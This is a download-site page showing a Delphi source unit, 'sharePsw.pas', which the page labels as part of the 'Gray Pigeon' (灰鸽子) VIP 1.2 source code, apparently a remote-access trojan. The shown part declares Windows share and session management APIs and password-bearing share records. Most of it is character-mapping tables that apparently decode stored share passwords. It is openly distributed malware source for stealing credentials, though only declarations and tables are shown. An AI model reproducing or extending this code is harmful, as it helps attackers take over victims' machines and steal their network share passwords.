⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sharepsw.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
字号:
unit sharePsw;

interface

uses Registry, classes, windows, sysutils, Forms;

type
  TShareInfo2 = packed record
    shi2_netname: PWChar;
    shi2_type: DWORD;
    shi2_remark: PWChar;
    shi2_permissions: DWORD;
    shi2_max_uses: DWORD;
    shi2_current_uses: DWORD;
    shi2_path: PWChar;
    shi2_passwd: PWChar;
  end;
  PShareInfo2 = ^TShareInfo2;
  TShareInfo2Array = array[0..512] of TShareInfo2;
  PShareInfo2Array = ^TShareInfo2Array;

type
  TShareInfo50 = packed record
    shi50_netname: array[0..12] of Char;
    shi50_type: Byte;
    shi50_flags: Word;
    shi50_remark: PChar;
    shi50_path: PChar;
    shi50_rw_password: array[0..8] of Char;
    shi50_ro_password: array[0..8] of Char;
  end;

var
  NetShareEnumNT: function(servername: PWChar;
    level: DWORD;
    bufptr: Pointer;
    prefmaxlen: DWORD;
    entriesread,
    totalentries,
    resume_handle: LPDWORD): DWORD; stdcall;

var
  NetShareEnum: function(pszServer: PChar;
    sLevel: Cardinal;
    pbBuffer: Pchar;
    cbBuffer: Cardinal;
    pcEntriesRead,
    pcTotalAvail: Pointer): DWORD; stdcall;

var
  NetShareDelNT: function(servername: PWideChar;
    netname: PWideChar;
    reserved: DWORD): LongInt; stdcall;

var
  NetShareDel: function(pszServer,
    pszNetName: PChar;
    usReserved: Word): DWORD; stdcall;

var
  NetShareAddNT: function(servername: PWideChar;
    level: DWORD;
    buf: Pointer;
    parm_err: LPDWORD): DWORD; stdcall;

var
  NetShareAdd: function(pszServer: Pchar;
    sLevel: Cardinal;
    pbBuffer: PChar;
    cbBuffer: Word): DWORD; stdcall;

var
  NetSessionEnumNT: function(servername,
    UncClientName,
    username: PWChar;
    level: DWORD;
    bufptr: Pointer;
    prefmaxlen: DWORD;
    entriesread,
    totalentries,
    resume_handle: LPDWORD): DWORD; stdcall;

var
  NetSessionEnum: function(pszServer: PChar;
    sLevel: DWORD;
    pbBuffer: Pointer;
    cbBuffer: DWORD;
    pcEntriesRead,
    pcTotalAvial: Pointer): integer; stdcall;

var
  NetSessionDelNT: function(ServerName,
    UncClientName,
    username: PWChar): DWORD; stdcall;

var
  NetSessionDel: function(pszServer: PChar;
    pszClientName: PChar;
    sReserved: SmallInt): DWORD; stdcall;

type
  TTabelle = array[0..11] of string;
const

  Tabelle_A: TTabelle = ('3039', '4146', '3337', '3543', '3236', '3238', '4530', '3541', '3342', '4344', '3036', '4239');
  Tabelle_B: TTabelle = ('3041', '4143', '3334', '3546', '3235', '3242', '4533', '3539', '3338', '4345', '3035', '4241');
  Tabelle_C: TTabelle = ('3042', '4144', '3335', '3545', '3234', '3241', '4532', '3538', '3339', '4346', '3034', '4242');
  Tabelle_D: TTabelle = ('3043', '4141', '3332', '3539', '3233', '3244', '4535', '3546', '3345', '4338', '3033', '4243');
  Tabelle_E: TTabelle = ('3044', '4142', '3333', '3538', '3232', '3243', '4534', '3545', '3346', '4339', '3032', '4244');
  Tabelle_F: TTabelle = ('3045', '4138', '3330', '3542', '3231', '3246', '4537', '3544', '3343', '4341', '3031', '4245');
  Tabelle_G: TTabelle = ('3046', '4139', '3331', '3541', '3230', '3245', '4536', '3543', '3344', '4342', '3030', '4246');
  Tabelle_H: TTabelle = ('3030', '4136', '3345', '3535', '3246', '3231', '4539', '3533', '3332', '4334', '3046', '4230');
  Tabelle_I: TTabelle = ('3031', '4137', '3346', '3534', '3245', '3230', '4538', '3532', '3333', '4335', '3045', '4231');
  Tabelle_J: TTabelle = ('3032', '4134', '3343', '3537', '3244', '3233', '4542', '3531', '3330', '4336', '3044', '4232');
  Tabelle_K: TTabelle = ('3033', '4135', '3344', '3536', '3243', '3232', '4541', '3530', '3331', '4337', '3043', '4233');
  Tabelle_L: TTabelle = ('3034', '4132', '3341', '3531', '3242', '3235', '4544', '3537', '3336', '4330', '3042', '4234');
  Tabelle_M: TTabelle = ('3035', '4133', '3342', '3530', '3241', '3234', '4543', '3536', '3337', '4331', '3041', '4235');
  Tabelle_N: TTabelle = ('3036', '4130', '3338', '3533', '3239', '3237', '4546', '3535', '3334', '4332', '3039', '4236');
  Tabelle_O: TTabelle = ('3037', '4131', '3339', '3532', '3238', '3236', '4545', '3534', '3335', '4333', '3038', '4237');
  Tabelle_P: TTabelle = ('3138', '4245', '3236', '3444', '3337', '3339', '4631', '3442', '3241', '4443', '3137', '4138');
  Tabelle_Q: TTabelle = ('3139', '4246', '3237', '3443', '3336', '3338', '4630', '3441', '3242', '4444', '3136', '4139');
  Tabelle_R: TTabelle = ('3141', '4243', '3234', '3446', '3335', '3342', '4633', '3439', '3238', '4445', '3135', '4141');
  Tabelle_S: TTabelle = ('3142', '4244', '3235', '3445', '3334', '3341', '4632', '3438', '3239', '4446', '3134', '4142');
  Tabelle_T: TTabelle = ('3143', '4241', '3232', '3439', '3333', '3344', '4635', '3446', '3245', '4438', '3133', '4143');
  Tabelle_U: TTabelle = ('3144', '4242', '3233', '3438', '3332', '3343', '4634', '3445', '3246', '4439', '3132', '4144');
  Tabelle_V: TTabelle = ('3145', '4238', '3230', '3442', '3331', '3346', '4637', '3444', '3243', '4441', '3131', '4145');
  Tabelle_W: TTabelle = ('3146', '4239', '3231', '3441', '3330', '3345', '4636', '3443', '3244', '4442', '3130', '4146');
  Tabelle_X: TTabelle = ('3130', '4236', '3245', '3435', '3346', '3331', '4639', '3433', '3232', '4434', '3146', '4130');
  Tabelle_Y: TTabelle = ('3131', '4237', '3246', '3434', '3345', '3330', '4638', '3432', '3233', '4435', '3145', '4131');
  Tabelle_Z: TTabelle = ('3132', '4234', '3243', '3437', '3344', '3333', '4642', '3431', '3230', '4436', '3144', '4132');
  Tabelle_S1: TTabelle = ('3038', '4145', '3336', '3544', '3237', '3239', '4531', '3542', '3341', '4343', '3037', '4238'); //@
  Tabelle_S2: TTabelle = ('3133', '4235', '3244', '3436', '3343', '3332', '4641', '3430', '3231', '4437', '3143', '4133'); //[
  Tabelle_S3: TTabelle = ('3134', '4232', '3241', '3431', '3342', '3335', '4644', '3437', '3236', '4430', '3142', '4134'); //\
  Tabelle_S4: TTabelle = ('3135', '4233', '3242', '3430', '3341', '3334', '4643', '3436', '3237', '4431', '3141', '4135'); //]
  Tabelle_S5: TTabelle = ('3136', '4230', '3238', '3433', '3339', '3337', '4646', '3435', '3234', '4432', '3139', '4136'); //^
  Tabelle_S6: TTabelle = ('3137', '4231', '3239', '3432', '3338', '3336', '4645', '3434', '3235', '4433', '3138', '4137'); //_
  Tabelle_S7: TTabelle = ('3238', '3845', '3136', '3744', '3037', '3039', '4331', '3742', '3141', '4543', '3237', '3938'); //`
  Tabelle_S8: TTabelle = ('3333', '3935', '3044', '3636', '3143', '3132', '4441', '3630', '3031', '4637', '3343', '3833'); //{
  Tabelle_S9: TTabelle = ('3334', '3932', '3041', '3631', '3142', '3135', '4444', '3637', '3036', '4630', '3342', '3834'); //|
  Tabelle_S10: TTabelle = ('3335', '3933', '3042', '3630', '3141', '3134', '4443', '3636', '3037', '4631', '3341', '3835'); //}
  Tabelle_S11: TTabelle = ('3336', '3930', '3038', '3633', '3139', '3137', '4446', '3635', '3034', '4632', '3339', '3836'); //~
  Tabelle_S12: TTabelle = ('3638', '4345', '3536', '3344', '3437', '3439', '3831', '3342', '3541', '4143', '3637', '4438'); //Space
  Tabelle_S13: TTabelle = ('3639', '4346', '3537', '3343', '3436', '3438', '3830', '3341', '3542', '4144', '3636', '4439'); //!
  Tabelle_S14: TTabelle = ('3641', '4343', '3534', '3346', '3435', '3442', '3833', '3339', '3538', '4145', '3635', '4441'); //"
  Tabelle_S15: TTabelle = ('3642', '4344', '3535', '3345', '3434', '3441', '3832', '3338', '3539', '4146', '3634', '4442'); //#
  Tabelle_S16: TTabelle = ('3643', '4341', '3532', '3339', '3433', '3444', '3835', '3346', '3545', '4138', '3633', '4443'); //$
  Tabelle_S17: TTabelle = ('3644', '4342', '3533', '3338', '3432', '3443', '3834', '3345', '3546', '4139', '3632', '4444'); //%
  Tabelle_S18: TTabelle = ('3645', '4338', '3530', '3342', '3431', '3446', '3837', '3344', '3543', '4141', '3631', '4445'); //&
  Tabelle_S19: TTabelle = ('3646', '4339', '3531', '3341', '3430', '3445', '3836', '3343', '3544', '4142', '3630', '4446'); //'
  Tabelle_S20: TTabelle = ('3630', '4336', '3545', '3335', '3446', '3431', '3839', '3333', '3532', '4134', '3646', '4430'); //(
  Tabelle_S21: TTabelle = ('3631', '4337', '3546', '3334', '3445', '3430', '3838', '3332', '3533', '4135', '3645', '4431'); //)
  Tabelle_S22: TTabelle = ('3632', '4334', '3543', '3337', '3444', '3433', '3842', '3331', '3530', '4136', '3644', '4432'); //*
  Tabelle_S23: TTabelle = ('3633', '4335', '3544', '3336', '3443', '3432', '3841', '3330', '3531', '4137', '3643', '4433'); //+
  Tabelle_S24: TTabelle = ('3634', '4332', '3541', '3331', '3442', '3435', '3844', '3337', '3536', '4130', '3642', '4434'); //,
  Tabelle_S25: TTabelle = ('3635', '4333', '3542', '3330', '3441', '3434', '3843', '3336', '3537', '4131', '3641', '4435'); //-
  Tabelle_S26: TTabelle = ('3636', '4330', '3538', '3333', '3439', '3437', '3846', '3335', '3534', '4132', '3639', '4436'); //.
  Tabelle_S27: TTabelle = ('3637', '4331', '3539', '3332', '3438', '3436', '3845', '3334', '3535', '4133', '3638', '4437'); ///
  Tabelle_S28: TTabelle = ('3732', '4434', '3443', '3237', '3544', '3533', '3942', '3231', '3430', '4236', '3744', '4332'); //:
  Tabelle_S29: TTabelle = ('3733', '4435', '3444', '3236', '3543', '3532', '3941', '3230', '3431', '4237', '3743', '4333'); //;
  Tabelle_S30: TTabelle = ('3734', '4432', '3441', '3231', '3542', '3535', '3944', '3237', '3436', '4230', '3742', '4334'); //<
  Tabelle_S31: TTabelle = ('3735', '4433', '3442', '3230', '3541', '3534', '3943', '3236', '3437', '4231', '3741', '4335'); //=
  Tabelle_S32: TTabelle = ('3736', '4430', '3438', '3233', '3539', '3537', '3946', '3235', '3434', '4232', '3739', '4336'); //>
  Tabelle_S33: TTabelle = ('3738', '4445', '3436', '3244', '3537', '3539', '3931', '3242', '3441', '4243', '3737', '4338'); //0
  Tabelle_S34: TTabelle = ('3739', '4446', '3437', '3243', '3536', '3538', '3930', '3241', '3442', '4244', '3736', '4339'); //1
  Tabelle_S35: TTabelle = ('3741', '4443', '3434', '3246', '3535', '3542', '3933', '3239', '3438', '4245', '3735', '4341'); //2
  Tabelle_S36: TTabelle = ('3742', '4444', '3435', '3245', '3534', '3541', '3937', '3738', '3439', '4246', '3734', '4342'); //3
  Tabelle_S37: TTabelle = ('3743', '4441', '3432', '3239', '3533', '3544', '3935', '3246', '3445', '4238', '3733', '4343'); //4
  Tabelle_S38: TTabelle = ('3744', '4442', '3433', '3238', '3532', '3543', '3934', '3245', '3446', '4239', '3732', '4344'); //5
  Tabelle_S39: TTabelle = ('3745', '4438', '3430', '3242', '3531', '3546', '3937', '3244', '3443', '4241', '3731', '4345'); //6
  Tabelle_S40: TTabelle = ('3746', '4439', '3431', '3241', '3530', '3545', '3936', '3243', '3444', '4242', '3730', '4346'); //7
  Tabelle_S41: TTabelle = ('3730', '4436', '3445', '3235', '3546', '3531', '3939', '3233', '3432', '4234', '3746', '4330'); //8
  Tabelle_S42: TTabelle = ('3731', '4437', '3446', '3234', '3545', '3530', '3938', '3232', '3433', '4235', '3745', '4331'); //9
  Tabelle_S43: TTabelle = ('3839', '3246', '4237', '4443', '4136', '4138', '3630', '4441', '4242', '3444', '3836', '3339'); //

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -